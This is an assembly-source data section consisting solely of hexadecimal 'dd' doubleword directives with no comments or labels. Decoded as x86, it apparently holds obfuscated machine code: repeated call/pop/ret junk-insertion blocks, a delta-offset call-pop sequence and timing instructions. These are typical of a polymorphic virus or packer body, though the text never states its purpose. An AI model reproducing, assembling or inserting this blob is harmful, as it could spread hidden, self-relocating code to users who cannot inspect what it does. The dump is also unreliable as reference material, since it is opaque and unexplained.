		dd 6880F85h, 33000000h,	716D9BDh, 8B006A06h, 0B595FFF8h
		dd 0E9060716h, 10h, 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h
		dd 4820Fh, 0BB660000h, 0C3B90A60h, 6A000006h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 5DDC352h, 1630129Fh,	899A1092h, 72C658Dh, 0FCE18306h
		dd 3840Fh, 0BF0F0000h, 0FE8FCFFh, 62000000h, 0E39E064Eh
		dd 7F3979C0h, 289BD2B2h, 43BB5F84h, 5F0E97EDh, 0B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0B3FFA733h, 0F9D22BAEh, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 6D952B60h, 89060703h, 70789B5h, 6A6106h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 1FC1E5C3h
		dd 832AD321h, 0B5BD8B4Ah, 8106071Bh, 0CAEB02C7h, 880D6Dh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 1D0418C3h, 0DEAAE7E9h, 79958B16h,	6A060706h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 9F48C356h, 3864987Fh, 30999D0Bh, 0C7800607h
		dd 0E58D8BF1h, 0F06072Ch, 68Ch,	71B53100h, 50060704h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0B8E31673h
		dd 0BB097B14h, 604BC973h, 0DE8h, 369C300h, 88FA0622h, 0C7C2D010h
		dd 0BD8B6729h, 607017Dh, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 18C7FF3h, 0DF80828Eh
		dd 0E5BD8363h, 60710h, 50840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 860F99C3h
		dd 6, 69BD8Bh, 9D330607h, 6070231h, 0B8h, 1C8D8D00h, 8A06074Eh
		dd 0AE9FAh, 12EC0000h, 3CC75F8Fh, 0C2CC59E8h, 0BB66E1FFh
		dd 0BD83901Ch, 6072D05h, 0D0840F00h, 29000004h,	72881BDh
		dd 5BD8306h, 106072Dh, 4D8840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 56E3FC3h
		dd 0B70FCF62h, 5BD83DBh, 306072Dh, 472860Fh, 8A0F0000h
		dd 0
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 146ACD3Bh, 89E3DF2Dh, 70735B5h, 0D98C6606h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 2C35343h
		dd 807E70D9h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 72BFBC3h, 6E98D25h, 68000000h, 7E90ED85h
		dd 0EDBD09DAh, 0A060701h, 1F840FC9h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 37D0C355h, 8E9FF5Fh,	5B000000h, 0DAEDEF2h, 8B374E55h
		dd 7062985h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 75853354h, 6A06071Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0F99FC351h
		dd 894B727Fh, 0FF5ED68h, 8Bh, 0BF669000h, 8B509FDBh, 8B6690DAh
		dd 0C99531F9h, 6A06070Dh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 4F77914Fh
		dd 6FB759D5h, 0BF668066h, 4E87202h, 0FF000000h,	66001F03h
		dd 0BB50F98Bh, 3A4708A8h, 424448Bh, 0DE8008Bh, 0E8000000h
		dd 0E0F1BB55h, 5A12B933h, 0BA9C2CF9h, 0E1FFBB66h, 2444895Bh
		dd 6E804h, 0B5530000h, 0E771AC9h, 9D8B585Fh, 60711C1h
		dd 1D0195FFh, 9D290607h, 6071D1Dh, 0A6AD8589h, 0BD8B060Ah
		dd 6072DE5h, 213E9h, 858BFC00h,	60AA6A5h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 65C35545h, 80BCDE50h
		dd 8BC1E531h, 72BB9BDh,	1800C706h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F846C356h, 9AAF878h, 0FB22369Fh, 0A6A9B58Bh, 6A060Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BF290C3h, 70C2185h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 6D55822Fh, 0E80734AFh
		dd 0Fh,	8EAD088h, 6884A3D1h, 0E5F59F1Eh, 0F74334Dh, 389h
		dd 0D98B6600h, 6A06895Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0ACC1C355h,	8B8F3497h
		dd 7062985h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 815B509Ah, 267F04F7h, 4468921h, 8BDF8B66h
		dd 71BC1BDh, 0E8609606h, 7, 29B6C709h, 60C82480h, 0CF8B5A61h
		dd 8B665061h, 6A96DEh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 9676C3C3h, 443FAADEh, 0A5B5FFBDh
		dd 89060AA6h, 7124DBDh,	4E806h,	3FF0000h, 0FE8001Fh, 0EE000000h
		dd 0CD346D98h, 50B7243Dh, 9AE082D0h, 52502887h,	310F6160h
		dd 585A6160h, 0AE9505Bh, 0DB000000h, 74E24B7Dh,	0A5B9AC83h
		dd 24448B31h, 66008B04h, 89AB4DBFh, 0F042444h, 481h, 0D4BF6600h
		dd 68B75864h, 8DFABF0Fh, 0AA6AD85h, 0C98D3106h,	90060702h
		dd 0BE9h, 8FBF3D00h, 946C69A2h,	0A747FE69h, 90A9B350h
		dd 6850Fh, 0BD290000h, 60711C1h, 1D0195FFh, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 65EF75C3h, 0C781F6CEh, 55E82Dh, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 3AF0735Ah
		dd 894A200Ch, 71AAD95h,	0FE906h, 1F800000h, 0B24BADD6h
		dd 0FCA89146h, 6C524B0Dh, 585C717h, 306072Dh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0BD43C356h, 7B61FCDCh, 0B4BBD604h, 321C66Ch
		dd 72FB99Dh, 0ADBD8306h, 60AA6h, 32840Fh, 0BD8B0000h, 6070735h
		dd 1F7DBD33h, 3CE90607h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF34C350h
		dd 27CAF676h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 7105C355h, 88F0Fh, 850F0000h
		dd 2, 0BF0FFA8Bh, 5BD83DEh, 306072Dh, 4A5850Fh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F37AE0C3h, 0AE9h, 0A66C3300h, 0DD60E45Eh, 60A0F657h
		dd 298D8Bh, 10E90607h, 47000000h, 113B49Ah, 466A47CBh
		dd 0DC096919h, 61C9D288h, 0A6ADBD83h, 0F00060Ah, 44E84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 38F0F0Ah, 0F000000h, 9589DABFh, 60720BDh
		dd 0A6ADB5FFh, 6A060Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0A62C7BC3h, 4369039Eh, 3D95FF3Bh
		dd 89060704h, 7052985h,	0A1B58B06h, 6A060AA6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 2F5BC356h, 1EBDE525h, 0DEBF0F5Ah, 106C7h, 6A0001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6DA65DC3h, 95291B82h, 6072661h, 89DD8A50h, 6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 103C8FC3h, 0E8FF5504h, 10h, 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h
		dd 0DC31B9E0h, 0F251E381h, 0FF5F49C2h, 0AA6ADB5h, 0FE8B6606h
		dd 1A5595FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 36E314C3h, 10E141CEh, 0B58BC673h
		dd 60AA6A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0C8C35747h, 1B1D9D0Bh, 0BD8B0607h, 607140Dh, 1389858Bh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 195DC5C3h, 61B42056h, 89EDA0C3h, 7138DB5h
		dd 0C4868906h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 6EB2C353h, 4F0492A2h
		dd 8BDD8AFCh, 7067995h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD896E12h, 6070CE9h
		dd 6604C283h, 3674CF81h, 0E5EB8166h, 205089F9h,	9E8h, 0EA3A5E00h
		dd 6063B42Ah, 895F04A2h, 7265585h, 1F858D06h, 6A060ABAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0CAD6C350h, 896CE3AAh, 0B886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 29795056h, 37E7AC31h, 1299BD31h, 6A0607h, 0B5FFDE8Bh
		dd 60AA6ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0F8C35141h, 5EDBB0ABh, 31877E07h, 71BF18Dh, 0B5E3BB06h
		dd 95FF58DFh, 6071AF9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh
		dd 0CEC35343h, 0B6773258h, 0E521F919h, 8B669631h, 6A9650DEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0F076C353h, 417EB947h, 0B5FF35B7h, 60AA6ADh
		dd 2995FFFCh, 0F8060715h, 12A5BD83h, 0F000607h,	6084h
		dd 3DBB6600h, 14E987h, 8D10000h, 0F400027Eh, 0BA858FB8h
		dd 24283B3Dh, 5C7405F0h, 5050655Bh, 11E95652h, 1D000000h
		dd 0C8752B11h, 0D2A8B7ECh, 94A1C429h, 14E11D4Ch, 8B310F5Fh
		dd 89585AF8h, 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B123DC3h, 0ADB5FFFAh, 8B060AA6h
		dd 71B099Dh, 8BF6606h, 5595FFE8h, 31060705h, 70DC1BDh
		dd 0ADB5FF06h, 6A060AA6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh
		dd 2594A8F9h, 1FF995FFh, 1600607h, 704E58Dh, 68F0F06h
		dd 3000000h, 712198Dh, 0BD836106h, 6071F1Dh, 72840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0DCF0C352h, 6DD858Bh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0C66E23C3h, 6A0000h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0D10A65C3h, 9AD018CDh, 658501D7h
		dd 8B060720h, 725DDBDh,	9185C706h, 60726h, 53000000h, 0E95FFA8Ah
		dd 0FFFFF227h, 6AC18BFCh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 33ADC355h, 97D6F9D4h
		dd 8B1584AEh, 731C5BDh,	85858D06h, 6A060707h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 94E9C356h, 44DC25B4h, 90F156F8h, 4D9E06BFh, 0E8905043h
		dd 0Ch,	0AD161544h, 5E811A8Bh, 261D9BEDh, 6A006A5Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 8F72C353h, 0D03DA1BFh, 90A55E49h, 0C9B52960h, 0E806072Ah
		dd 0Eh,	8A624E46h, 0A174D887h, 0CC28F364h, 0FE9EEE3h, 0A3000000h
		dd 468D6EF7h, 5A64023Ah, 4527D09Bh, 615F5479h, 0C820Fh
		dd 8A0F0000h, 6, 31D9D0Bh, 6A0607h, 2E819D8Bh, 858D0607h
		dd 60B4D7Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0E8C35646h, 23DF6D85h, 0B30E3E04h, 6A05C083h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 60FEC355h, 0C4ABBCB7h, 830F504Bh, 2,	489FB8Bh, 95BD8B24h
		dd 6A060703h, 5DF38100h, 6A016296h, 0E957F900h,	6, 0EA6BC9C4h
		dd 0FF5F0491h, 704C195h, 38D0F06h, 66000000h, 73B7DE8Bh
		dd 0A64F8D8Dh, 0BD8B060Ah, 60731FDh, 6AD1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0AD9A86C3h
		dd 32118D89h, 0BD830607h, 607218Dh, 72850F01h, 8B000000h
		dd 726F9BDh, 0E9026A06h, 9, 0CF593D60h,	60E8ADB5h, 48950F1h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0D7115128h, 3DBD8B28h, 89060732h, 7153185h
		dd 0F995FF06h, 6A06071Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0EE44C352h,	8B35BD32h
		dd 715D19Dh, 0C9FE906h,	0E80000h, 5D000000h, 4D89ED81h
		dd 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0BBD567C3h, 470E0FD7h, 359BB66h, 9108858Dh
		dd 9D23060Ah, 6070CF1h,	50525090h, 0F616052h, 0AE831h
		dd 0D0090000h, 8C6D2025h, 5D09780Fh, 0F585A5Fh,	98BB6631h
		dd 50585AB4h, 190D98Bh,	727A1B5h, 65958906h, 6406070Ch
		dd 35FFh, 810F0000h, 0
		dd 64DFBF0Fh, 2589h, 10BB0000h,	0FF3D6722h, 732F185h, 0F9BF0F06h
		dd 5356FF6Ah, 8D0Fh, 5B5F0000h,	21C9B5FFh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 50C58AC3h, 81669A7Eh, 0F0EEFE3h, 95FFFFB7h, 6071AC9h
		dd 0D6E9h, 15958900h, 0B0060713h, 0E3816600h, 70E65C28h
		dd 2749BD8Bh, 71E40607h, 830F613Ch, 0B7h, 0D0BF0F60h, 4318D8Bh
		dd 0F610607h, 92B3C8B6h, 2FCFBF66h, 6BAh, 0DF8B6600h, 9589C18Bh
		dd 60726F5h, 0F04E8C1h,	386h, 90EF8000h, 2BE2F766h, 0F08B60C8h
		dd 666061F9h, 8B3DDDBBh, 725E985h, 0D18B6106h, 6DD7BF66h
		dd 2E9h, 8BFB8B00h, 7263D85h, 319D8B06h, 83060715h, 8D8907C0h
		dd 6073179h, 8900C083h,	71B118Dh, 0FD03B06h, 0B83h, 0A5BD8B00h
		dd 0E906072Eh, 33h, 10B98D8Bh, 0E1830607h, 24840F01h, 66000000h
		dd 0A583DF8Bh, 60710B9h, 0FDF7BFFEh, 95893198h,	607263Dh
		dd 48A0Fh, 0BF660000h, 0E995FFh, 8D000000h, 0AC584B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0D303E876h, 0CA5410ECh, 3890Fh, 0BF0F0000h
		dd 6850FFBh, 3000000h, 732A1BDh, 6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 85CAC355h
		dd 0D56DCBB7h, 6C1BD89h, 81660607h, 0FFB334E3h,	716B595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 31529C31h, 713F195h, 1B95B06h, 3100000Eh
		dd 714E195h, 0FCE18306h, 9E9h, 0E3D48D00h, 4CB1F676h, 0BD092288h
		dd 60715C9h, 3D9D33FCh,	0B8060725h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 86C35545h
		dd 0A5F8092Dh, 0ED97BFCAh, 0D22B7357h, 260D8D89h, 33AD0607h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 6A68C3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 5CE3DAC3h
		dd 98814C78h, 890B0EC6h, 705059Dh, 880D06h, 9D2B0000h
		dd 6072A9Dh, 679958Bh, 0BF0F0607h, 0E58D8BF9h, 8B06072Ch
		dd 72265BDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 7952C350h, 5985893Bh, 83060721h
		dd 710E5BDh, 840F0006h,	88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0B6C35040h,	0B8D2D1A9h, 0
		dd 1890Fh, 0FF80000h, 8D8DD9B7h, 6074E1Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CC35040h, 0F7DBE790h
		dd 0C3AB99B6h, 2B819D8Bh, 0E1FF0607h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 82C35242h, 0A5B0F550h, 9D8938F2h
		dd 6072139h, 2D05BD83h,	0F000607h, 46584h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 815C9ADFh, 69950E08h, 835FB31Dh, 72D05BDh, 840F0106h
		dd 44Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	68C35646h, 0FF99C81h, 582h, 8E8BF00h, 0BD83341Ah
		dd 6072D05h, 0E0860F03h, 8B000003h, 6A60FEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D5D921C3h
		dd 1416E03h, 663A93E9h,	6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0D2368FC3h, 604FA557h
		dd 0CA237B8h, 6890F39h,	9000000h, 72065BDh, 0E1806106h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BF600C99h, 43652541h, 0B6D9589h, 0A610607h
		dd 71840FC9h, 66000001h, 2038DF81h, 629858Bh, 0BD8B0607h
		dd 6071025h, 1E758533h,	6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0C93C36C3h, 0AD9032D3h
		dd 0F529055h, 681h, 8C0F00h, 5F000000h,	60565250h, 905F5F61h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5AC35646h
		dd 29B589ACh, 6A060732h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 2E173DBEh, 0EAE0B2D5h
		dd 0DF816638h, 13689DAEh, 8124B1CCh, 0CFEC2434h, 6A24AEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0B1A956C3h, 5E67F41Dh, 2721D381h, 95FF0BAAh,	6071D01h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 83C35040h
		dd 0FBE029D6h, 0F781067Bh, 57F2D744h, 0A6AD8589h, 6A060Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 608FEDC3h, 0FDAF4CDEh, 8B662809h, 1BCE9DFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E3F2FEC3h, 185F7AB4h, 0FE8A312h, 0E5000000h, 4253D8FCh
		dd 0FEE3DC2Ah, 9DBC3119h, 41BBB762h, 5B7C3849h,	0A6A5858Bh
		dd 8960060Ah, 7077D95h,	83F78106h, 61002843h, 1800C7h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4A4F66C3h, 0FA0C142Bh, 0B58B9736h, 60AA6A9h
		dd 0C88B6660h, 1CD9D8Bh, 8B610607h, 70C2185h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0D694039Bh, 0BC99D0Bh, 6890607h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 86C35545h, 6C1E77AAh, 0BF664EE3h
		dd 858B502Eh, 6070629h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0E8C35141h, 0AE9EEh, 0E3390000h, 0E1862D45h
		dd 93A978AFh, 8961F960h, 9D330446h, 6070AE9h, 50D88B96h
		dd 0F08B6660h, 6A9661h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h
		dd 0A6A5B5FFh, 0AD68060Ah, 66622F3Dh, 3481DE8Bh, 303E5224h
		dd 3870F62h, 66000000h,	9D03DA8Bh, 6070285h, 0A6AD858Dh
		dd 8B66060Ah, 0BB5350D8h, 660BBAF0h, 2404895Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 92C35242h, 95293170h
		dd 607130Dh, 2C858529h,	95FF0607h, 6071D01h, 2569BD8Bh
		dd 0F610607h, 68Fh, 0F5958900h,	0C706071Ah, 72D0585h, 306h
		dd 6880F00h, 8B000000h,	708919Dh, 0ADBD8306h, 60AA6h, 2D840Fh
		dd 4EB30000h, 41E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0E459D06Dh, 0D5B589A5h
		dd 50060701h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 8B66C08Bh,	83DE8BD9h, 72D05BDh, 850F0306h
		dd 3CFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	1BC35545h, 0CF8B6089h, 61F78B66h, 0A6ADBD83h, 0F00060Ah
		dd 39E84h, 0A5B50100h, 0FF06070Ch, 0AA6ADB5h, 58B0F06h
		dd 0BF000000h, 0A5727D9h, 43D95FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0BFB25AC3h
		dd 199D89AAh, 8B060712h, 0AA6A1B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 89DF8B6Ah
		dd 72B89B5h, 106C706h, 6A000100h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5C89C352h
		dd 4087425Eh, 0AB01F36Bh, 0F525096h, 50585A31h,	5E8h, 0DF657600h
		dd 965B59ABh, 6860Fh, 0CB810000h, 5557BC93h, 0A6ADB5FFh
		dd 95FF060Ah, 6071A55h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 1FC35747h, 0FACF8173h, 0F8726A15h, 0A6A1B58Bh
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0A4D530C3h, 0E87E2E3Eh, 398D895Bh, 8B060727h
		dd 7138985h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 58D0E6F1h, 0C8B7DB14h, 14CB8166h
		dd 0C48689DEh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 5546C355h, 8B127AC9h
		dd 722159Dh, 79958B06h,	8B060706h, 0C9BD89FBh, 83060715h
		dd 8E904C2h, 9D000000h,	479CC7FFh, 0F1FFFA5h, 487h, 61605700h
		dd 2050895Fh, 0CCB8166h, 6DBD8B31h, 8D060703h, 0ABA1F85h
		dd 9DBD8906h, 8906070Eh, 0B886h, 0D9DF8100h, 6A665880h
		dd 5810F00h, 0BF000000h, 2B6DAF25h, 0A6ADB5FFh,	6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 8DAD98C3h, 7BDAD783h, 9D8B2387h, 6071689h, 1AF995FFh
		dd 0C7810607h, 1AB12B0h, 20218D09h, 89500607h, 64BF2434h
		dd 666D097Ch, 0FF0D01BFh, 0AA6ADB5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF667C27h
		dd 95FFB036h, 6071529h,	140D9589h, 0C3810607h, 782C0F58h
		dd 12A5BD83h, 0F000607h, 4084h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0FA68F83h
		dd 2830Fh, 0DE8B0000h, 50DC8A96h, 96F98B66h, 0B800Fh, 89600000h
		dd 714C195h, 0C68B6606h, 0ADB5FF61h, 66060AA6h,	7143E381h
		dd 55595FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8B661EC3h, 0ADB5FFFAh, 0F060AA6h,	383h, 0DF8B6600h
		dd 1FF995FFh, 9D330607h, 6073299h, 9799D23h, 0BD830607h
		dd 6071F1Dh, 6B840F02h,	8B000000h, 70B85BDh, 0DD858B06h
		dd 6A060706h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 6411C355h, 7DEF8123h, 0C6046AE4h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 93F545C3h, 86B97F86h, 0E9CB2EB5h,	0Eh, 60963ABh
		dd 0ABD3957h, 16D1A519h, 85C79941h, 6072691h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0E6C35141h
		dd 8B102624h, 71F459Dh,	0BAF78106h, 0E953A18Dh,	0FFFFF424h
		dd 0FE8B6652h, 68C0F5Fh, 8B000000h, 71419BDh, 0E8C18B06h
		dd 0Eh,	7FAFBE46h, 0C69E7368h, 0D31BF1A4h, 0B5098144h
		dd 60732DDh, 85858D5Fh,	8B060707h, 0EE990FAh, 54000000h
		dd 3B6D29EDh, 894AA578h, 610A9549h, 0FA8B5039h,	859D8B90h
		dd 6A060730h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 4E69447Bh, 0FB8B67C3h, 0FA8B006Ah
		dd 5B73858Dh, 0FA8B060Bh, 6A05C083h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A125C352h
		dd 26A9252Bh, 1CA59D23h, 89500607h, 0BD032404h,	6071FE5h
		dd 0DE9006Ah, 75000000h, 155EB967h, 8EF50E28h, 4891666Eh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 1881CCC3h, 11D0D594h, 8D0F1540h, 2, 95FFDC8Ah
		dd 60704C1h, 6850Fh, 0BD8B0000h, 6073149h, 0A64F8D8Dh
		dd 8B66060Ah, 6AD1FFD8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 5185C356h, 152109C4h
		dd 8DBD83E1h, 1060721h,	37850Fh, 0BB660000h, 26AFCB4h
		dd 24048950h, 0AFD8589h, 95FF0607h, 6071AF9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9CC35141h, 0CBCAD171h
		dd 0CF6E916h, 0E80000h,	5D000000h, 5B7DED81h, 0DE9060Bh
		dd 47000000h, 0A0C26B21h, 73A1DDB2h, 9CE67581h,	9108858Dh
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
